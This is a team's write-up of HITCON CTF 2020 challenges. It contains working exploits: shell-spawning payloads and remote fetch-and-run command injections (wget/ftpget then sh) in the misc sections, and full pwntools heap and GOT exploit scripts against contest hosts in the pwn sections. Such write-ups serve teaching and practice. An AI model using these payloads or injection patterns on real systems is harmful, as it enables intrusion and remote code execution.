HITCON CTF 2020
Misc
oShell
In this challenge we have a limited sandbox shell. Only a few commands can be run: top
, htop
, ping
, traceroute
.... Those commands use busybox binary. The functionality is pretty limited.
There is also a command enable
requiring password to execute (Cisco switches have this command as well), so the first step is to leak the password.
@Billy found htop
supports strace
on a process. We can strace
another sandbox shell process and run enable
. strace
will leak the password through read()
system call.
After enable
, we have a new command tcpdump
. tcpdump -w
can write arbitrary files with some limitation and tcpdump -z
can run any system commands. However, we tried tcpdump -z
but this version doesn't honor this feature:
compress_savefile failed. Functionality not implemented under your system
We need to find another way to RCE.
@kaibro found top
can be abused to RCE, if we can write arbitray contents to .toprc
. Therefore the idea is to tcpdump -w .toprc
and run top
to get shell.
Unfortunately, with tcpdump -w
we can only partial control the output packet. top
requires the header of .toprc
to be correct. Otherwise it will fail to launch.
We also note that top
can also save the initla configuration (with the correct header) to .toprc
by pressing W
in top
. Thus, our exploit idea is:
- run
top
in shell A, and save a correct.toprc
file - run
tcpdump -w
in shell B to write.toprc
. Now the.toprc
is corrupted - send 7 - 8 packets to move the
tcpdump -w
offest after the header - save a correct
.toprc
file in shell A again - send the payload packets so
tcpdump -w
write the command after the coorect header - restart
top
in shell A and pressY, <enter>, <enter>
to get shell
To control the output of tcpdump packets
, ping
and traceroute
can be used. We use the UDP packet respone in traceroute
.
tcpdump to .toprc
:
tcpdump -n -i eth0 -w /home/oShell/.toprc -U -A udp port 42345 -vvvv
The UDP response which contains our payload:
ncat -klu 42345 -v --sh-exec "echo -e '\npipe\tx\texec /bin/sh 1>&0 2>&0'"
The traceroute command. We need to specify the first hop number in -f
and the UDP base port -p
:
traceroute -i eth0 -p 42344 -f 12 240.240.240.240
Flag: HITCON{A! AAAAAAAAAAAA! SHAR~K!!!}
Baby Shark
Command injection using ;
:
ls ; wget kaibro.tw
ls ; sh index.html
Flag: hitcon{i_Am_s0_m155_s3e11sh0ck}
Baby Shark Revenge
Solution 1
by @kaibro
Command injection using ()
. Bypass .
limitation using decimal ip address.
Because wget
in busybox cannot specifiy the name without -o
, we use ftpget
to download the file with a custom filename.
ls ()ftpget 921608994:10001 meow123 meow123
ls ()sh meow123
Flag: hitcon{r3v3ng3_f0r_semic010n_4nd_th4nks}
Solutoin 2
by bookgin
> ls ()python3
> ls
> find =chr(0x5f)+chr(0x5f)+ ...
> find
> id ,eval(find)
> id
Crypto
another secret note
In this challenge, this key will never change
open('key','rb').read()
The service given two mainly function :
register :
- Encrypt
{'secret': 'hitcon{JSON_is_5', 'who': 'user', "name": @name}
with any name in ascii character
- Encrypt
login :
Decrypt the token, and you can set the IV if you want. (Note that if you set the IV, The default IV will change. We can use this feature to do something.)
Make 'cmd' exists in decrypted token, you can execute given function.
- get_secret
- get_time
- note
- read_note
Encrypted the data again.
We know that json.loads
will format the json and merge the same key:
json.loads('{"a":"z","b":"y"}')
# -> {'a': 'z', 'b': 'y'}
json.loads('{"":"a","":"b"}')
# -> {'': 'b'}
We can use these feature to pull the message out and make Encryption Oracle.
Exploit :
Fixed the IV, and pull bytes from bytes.
Get All pair in ascii range :
0123456789ABCDEF
{"secret": "hitc` <- First block
{"": 12, "t": " <- Set IV to change first block
{"": 12, "t": "o <- After Login
Find the match cipher to get the flag
{"": 12, "t": "a
{"": 12, "t": "b
{"": 12, "t": "C
...
{"": 12, "t": "~
user_secret: hitcon{JSON_is_5
Use register
command brute force ascii range prefix,
we can get prefix + (iv ^ data ^ prefix_iv)
and do any encryption.
Find the pattern :
pattern = '****************et","":"*'+'*************","who":"admin","":"************","name":"admin","":"**********************","":"******"}\x01'
('*' can be any ascii)
and change IV to make the first block become "cmd": "get_secr
and we can get the encrypted admin_secret
.
Afthe here is same as user_secret
, just pull the flag byte by byte and do encryption oracle to find the secret.
admin_secret: 0_woNderFul!@##}
FLAG : hitcon{JSON_is_50_woNderFul!@##}
Pwn
Archangel Michael's Storage
- Vulnerability
- OOB write negative index on Type 3 storage
- Exploit
- Trick VS subsegment (
real_size
) into smallerfake_size
, wherefake_size
<real_size
, such that the whole VS subsegment will be freed afterfake_size
chunk is freed, this will lead to overlapped chunk as we only freefake_size
chunk butreal_size
is freed - With pre-controlled layout and overlapped chunk, we can leak heap address
- Leak
ntdll
,kernel32
,PEB
,TEB
, stack address to ROP - https://github.com/how2hack/CTF-writeups/blob/master/2020/hitcon/MichaelStorage/exp.py
- Trick VS subsegment (
- Flag:
hitcon{S3gm3nt_H34p_1s_th3_h34ven_F34l_4_u}
Spark
- Crash to leak kernel heap and stack address.
- Overwrite Node struct using distance array by UAF.
- Use
msgsnd
msgrcv
to changeindex
of UAF node repeatly. - Use
dis[edge->node->index]
to arbitrary write. - Write value to userland and search offset.
modprobe_path
https://github.com/yuawn/CTF/tree/master/2020/hitcon/spark
Beats
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '18.178.221.5'
port = 4869
binary = "./beats"
context.binary = binary
elf = ELF(binary)
try:
libc = ELF("./libc.so.6")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")
if len(sys.argv) == 1:
r = remote("127.0.0.1" ,4869)
#r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})
else:
r = remote(host ,port)
def rol(val, r_bits, size=64):
return (val << r_bits%size) & (2**size-1) | \
((val & (2**size-1)) >> (size-(r_bits%size)))
if __name__ == '__main__':
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
tls_dtor_list = 0x404110
r.sendline(p32(0x19) + p32(0xb) + p64(0x4040a0) + "D"*0x48 + p32(0x19) + p32(2) + p32(0x19) + p32((0x224a8+8 + 0x80)/8) + p32(0x19) + p32((0x20f00)/8) + cyclic(0x21000) + p64(0x426690) + cyclic(0x22458-0x21008) + p64(0x4040a0) + p64(0x4444444444)*6 + p64(tls_dtor_list) + p64(0x404000) +"\x00"*0x80 ) # calloc 0x21000 size chunk & heap overflow will overwrite tls_dtor_list & function pointer gruad(fs:0x30)
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
puts_plt = 0x0401140
read_n = 0x0401413
setvbuf_got = 0x403fe0
r.send("1".ljust(0x10,"A"))
payload = p64(0) + p64(0x81) + p64(rol(puts_plt,0x11)) + p64(setvbuf_got) + p64(0x434110) + p64(0x404110+0x100) + p64(0x21)*0x10
payload = payload.ljust(0x100,"A")
payload += p64(0) + p64(0x81) + p64(rol(read_n,0x11)) + p64(0x404100+0x200) + p64(0x434118) + p64(0x404110+0x200)+ p64(0x21)*0x10
r.sendline(payload)
r.recvuntil(":Timeout") # Waiting for timeout to trigger exit() & use tls_dtor_list to control flow
libc = u64(r.recv(6).ljust(8,"\x00")) - 0x813d0
print("libc = {}".format(hex(libc)))
system = 0x4f550 + libc
payload = p64(0) + p64(0x51) + p64(rol(system,0x11)) + p64(0x404328) + p64(0x434120) + "/bin/sh\x00"
r.sendline(payload)
r.interactive()
dual
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '13.231.226.137'
port = 9573
binary = "./dual"
context.binary = binary
elf = ELF(binary)
try:
libc = ELF("./libc.so.6")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")
def create_note(idd):
r.recvuntil("op>\n")
r.sendline("1")
r.recvuntil("pred_id>\n")
r.sendline(str(idd))
def connect_note(idd,idd2):
r.recvuntil("op>\n")
r.sendline("2")
r.recvuntil("pred_id>\n")
r.sendline(str(idd))
r.recvuntil("succ_id>\n")
r.sendline(str(idd2))
def disconnect_node(idd,idd2):
r.recvuntil("op>\n")
r.sendline("3")
r.recvuntil("pred_id>\n")
r.sendline(str(idd))
r.recvuntil("succ_id>\n")
r.sendline(str(idd2))
def write_text(index,text):
r.recvuntil("op>\n")
r.sendline("4")
r.recvuntil("node_id>\n")
r.sendline(str(index))
r.recvuntil("text_len>\n")
r.sendline(str(len(text)))
r.recvuntil("text>\n")
r.send(text)
def write_bin(index,binary):
r.recvuntil("op>\n")
r.sendline("5")
r.recvuntil("node_id>\n")
r.sendline(str(index))
r.recvuntil("bin_len>\n")
r.sendline(str(len(binary)))
r.recvuntil("bin>\n")
r.send(binary)
def read_text(index):
r.recvuntil("op>\n")
r.sendline("6")
r.recvuntil("node_id>\n")
r.sendline(str(index))
def wtf():
r.recvuntil("op>\n")
r.sendline("7")
if len(sys.argv) == 1:
r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})
else:
r = remote(host ,port)
if __name__ == '__main__':
create_note(0)
create_note(0)
wtf()
write_bin(0,"")
create_note(0)
create_note(0)
root = 0x0519188
pool = 0x0519170
buf = 0x519800
fwrite_got = 0x519098
write_text(0,p64(0x41) + p64(0x41) + p64(0x519800) + p64(0x519800) + p64(0x519800+0x100) + p64(0x200) + p64(0) + p64(0)) # fake structure
write_text(0x41,b"\x00"*192 + p64(fwrite_got)) # heap overflow & 0x20 tcache fd changed to fwrite_got
create_note(0)
printf_plt = 0x404056
write_text(5,p64(printf_plt)) # Change fwrite_got of tcache attack to printf_plt
fmt = "%p."*0x10
write_text(0,fmt) # fmt leak libc
read_text("0")
for i in range(14):
r.recvuntil(".")
libc = int(r.recvuntil(".")[:-1],16) - 0x270b3
print("libc = {}".format(hex(libc)))
system = libc + 0x55410
write_text(5,p64(system)) # fwrite_got changed to system
fmt = "sh;"
fmt = fmt.ljust(0x60)
write_text(0,fmt)
read_text("0")
r.interactive()
Revenge of Pwn
- shellcraft.stager('0\n\t.include "/home/deploy/flag"', 0x4000)
- will fail on asm and print error message with the flag.
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>
int main(int argc, char *argv[])
{
setvbuf(stdout,0,2,0);
char buf[0x100];
puts("stack address @ 0x0");
read(0,buf,0x100);
int sockfd = 0, n = 0;
char recvBuff[1024];
struct sockaddr_in serv_addr;
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Error : Could not create socket \n");
return 1;
}
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(31337);
if(inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr)<=0)
{
printf("\n inet_pton error occured\n");
return 1;
}
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\n Error : Connect Failed \n");
return 1;
}
dprintf(sockfd,"0\n\t.include \"/home/deploy/flag\"@");
while(1) ;
}
Reverse
Tenet
shellcode will clear cookie when run replayed shellcode will then restore cookie through case encoded bitstream
from pwn import *
context.arch = 'amd64'
shellcode = asm(f'''
jmp START
CASE0:
mov bl, BYTE PTR [rdi]
mov BYTE PTR [rdi], bl
or bl, al
shl al, cl
mov bl, BYTE PTR [rdi]
mov al, 0
jmp LANDING
CASE1:
mov bl, BYTE PTR [rdi]
mov BYTE PTR [rdi], bl
or bl, al
shl al, cl
mov bl, BYTE PTR [rdi]
mov al, 1
jmp LANDING
START:
mov rdi, 0x2170000
OUTERLOOP:
xor rcx, rcx
INNERLOOP:
xor rax, rax
mov al, byte ptr [rdi]
shr al, cl
and al, 1
test al, al
jz CASE0
jmp CASE1
LANDING:
mov r12, rcx
inc r12
mov rcx, r12
dec r12
mov r12, rcx
cmp rcx, 8
jne INNERLOOP
mov rcx, 8
mov BYTE PTR [rdi], 0
mov r12, rdi
inc r12
mov rdi, r12
dec r12
mov r12, rdi
cmp rdi, 0x2170008
jne OUTERLOOP
mov rdi, 0x2170008
mov rdi, 0
mov rax, 0x3c
syscall
''')
r = remote('52.192.42.215',9427)
r.sendlineafter(')\n',str(len(shellcode)))
r.sendafter('..\n',shellcode)
r.interactive()
SOP
from pwn import *
from Crypto.Util.number import long_to_bytes
def encrypt(inp):
res = []
for INP in inp:
for i in range(32):
INP[8] = (INP[8]+INP[9])&0xffffffff
INP[11] = (INP[7]<<4)&0xffffffff
INP[11] = (INP[11]+INP[2])&0xffffffff
INP[12] = (INP[7]>>5)&0xffffffff
INP[12] = (INP[12]+INP[3])&0xffffffff
INP[11] = (INP[11]^INP[12])&0xffffffff
INP[12] = (INP[7]+INP[8])&0xffffffff
INP[11] = (INP[11]^INP[12])&0xffffffff
INP[6] = (INP[6]+INP[11])&0xffffffff
INP[11] = (INP[6]<<4)&0xffffffff
INP[11] = (INP[11]+INP[4])&0xffffffff
INP[12] = (INP[6]>>5)&0xffffffff
INP[12] = (INP[12]+INP[5])&0xffffffff
INP[11] = (INP[11]^INP[12])&0xffffffff
INP[12] = (INP[6]+INP[8])&0xffffffff
INP[11] = (INP[11]^INP[12])&0xffffffff
INP[7] = (INP[7]+INP[11])&0xffffffff
res.append(INP[6])
res.append(INP[7])
return res
def decrypt(inp):
res = []
for INP in inp:
INP[8] = (INP[9]*32)&0xffffffff
for i in range(32):
INP[11] = (INP[7]<<4)&0xffffffff
INP[11] = (INP[11]+INP[2])&0xffffffff
INP[12] = (INP[7]>>5)&0xffffffff
INP[12] = (INP[12]+INP[3])&0xffffffff
INP[11] = (INP[11]^INP[12])&0xffffffff
INP[12] = (INP[7]+INP[8])&0xffffffff
INP[11] = (INP[11]^INP[12])&0xffffffff
INP[6] = (INP[6]-INP[11]+(1<<32))&0xffffffff
INP[11] = (INP[6]<<4)&0xffffffff
INP[11] = (INP[11]+INP[4])&0xffffffff
INP[12] = (INP[6]>>5)&0xffffffff
INP[12] = (INP[12]+INP[5])&0xffffffff
INP[11] = (INP[11]^INP[12])&0xffffffff
INP[12] = (INP[6]+INP[8])&0xffffffff
INP[11] = (INP[11]^INP[12])&0xffffffff
INP[7] = (INP[7]-INP[11]+(1<<32))&0xffffffff
INP[8] = (INP[8]-INP[9]+(1<<32))&0xffffffff
res.append(INP[7])
res.append(INP[6])
return res
keys = [0x152ceed2,0xd6046dc3,0x4a9d3ffd,0xbb541082,0x632a4f78,0x0a9cb93d,0x58aae351,0x92012a14]
inp = [[0,0,0x2b0b575b,0x1e8b51cc,0x69a33fff,0x468932dc,keys[1],keys[0],0,0x51fdd41a,0,0,0,0],
[0,0,0x688620f9,0x8df954f3,0x32e57ab6,0x7785df55,keys[3],keys[2],0,0x5c37a6db,0,0,0,0],
[0,0,0x1bd1fc38,0x14220605,0xaca81571,0x2c19574f,keys[5],keys[4],0,0xb4f0b4fb,0,0,0,0],
[0,0,0xe9ab109d,0x8d4f04b2,0x33f33fe0,0xf9de7e36,keys[7],keys[6],0,0xd3c45f8c,0,0,0,0]]
res = decrypt(inp)
print(b''.join(map(p32,res)))
11011001
#include <bits/stdc++.h>
#include "z3++.h"
using namespace z3;
std::string s = R"foo(0------1----------0-
--1-1--1-----11--0-1
--------------------
---1-11-11---0------
--0-----1--0-----1-1
---0------1---1-----
1--00---1----11-0---
--1----1---0------0-
---------1--1--0---1
--00---1---0-0------
--------0----------0
-00------1-------0-0
----00--0----11-----
---------1-0----0---
-0------1--0--------
---1--0---0----0--11
-0----0-1---01------
----0----0------11--
-0----10-0-0--------
0------1-----0-00-0-
)foo";
context ctx;
expr get(int x, int y) {
return ctx.bool_const((std::to_string(x) + "_" + std::to_string(y)).c_str());
}
constexpr int kN = 20;
char gc(int x, int y) {
return s[x * (kN + 1) + y];
}
int main() {
assert(s.size() == ((kN + 1) * kN));
solver sol(ctx);
for (int x = 0; x < kN; x++) {
for (int y = 2; y < kN; y++) {
sol.add(get(x, y - 2) || get(x, y - 1) || get(x, y));
sol.add(!(get(x, y - 2) && get(x, y - 1) && get(x, y)));
}
}
for (int y = 0; y < kN; y++) {
for (int x = 2; x < kN; x++) {
sol.add(get(x - 2, y) || get(x - 1, y) || get(x, y));
sol.add(!(get(x - 2, y) && get(x - 1, y) && get(x, y)));
}
}
for (int x = 0; x < kN; x++) {
for (int y = 0; y < kN; y++) {
char c = gc(x, y);
if (c == '0')
sol.add(!get(x, y));
else if (c == '1')
sol.add(get(x, y));
}
}
int coef[kN];
std::fill(coef, std::end(coef), 1);
for (int x = 0; x < kN; x++) {
expr_vector v(ctx);
for (int y = 0; y < kN; y++)
v.push_back(get(x, y));
sol.add(pbeq(v, coef, 10));
}
for (int y = 0; y < kN; y++) {
expr_vector v(ctx);
for (int x = 0; x < kN; x++)
v.push_back(get(x, y));
sol.add(pbeq(v, coef, 10));
}
std::cout << sol.check() << std::endl;
model m = sol.get_model();
std::vector<int> res;
for (int x = 0; x < kN; x++) {
int num = 0;
for (int y = 0; y < kN; y++) {
int t = m.eval(get(x, y)).bool_value();
if (t < 0) t = 0;
std::cout << t;
num = (num << 1) | t;
}
std::cout << std::endl;
res.push_back(num);
}
for (int num : res)
std::cout << num << std::endl;
}
Forensics
AC1750
The file we are given is the packet log of this attack. Just decrypt the UDP payloads according to the information from that article, and you'll see the commands that save the flag.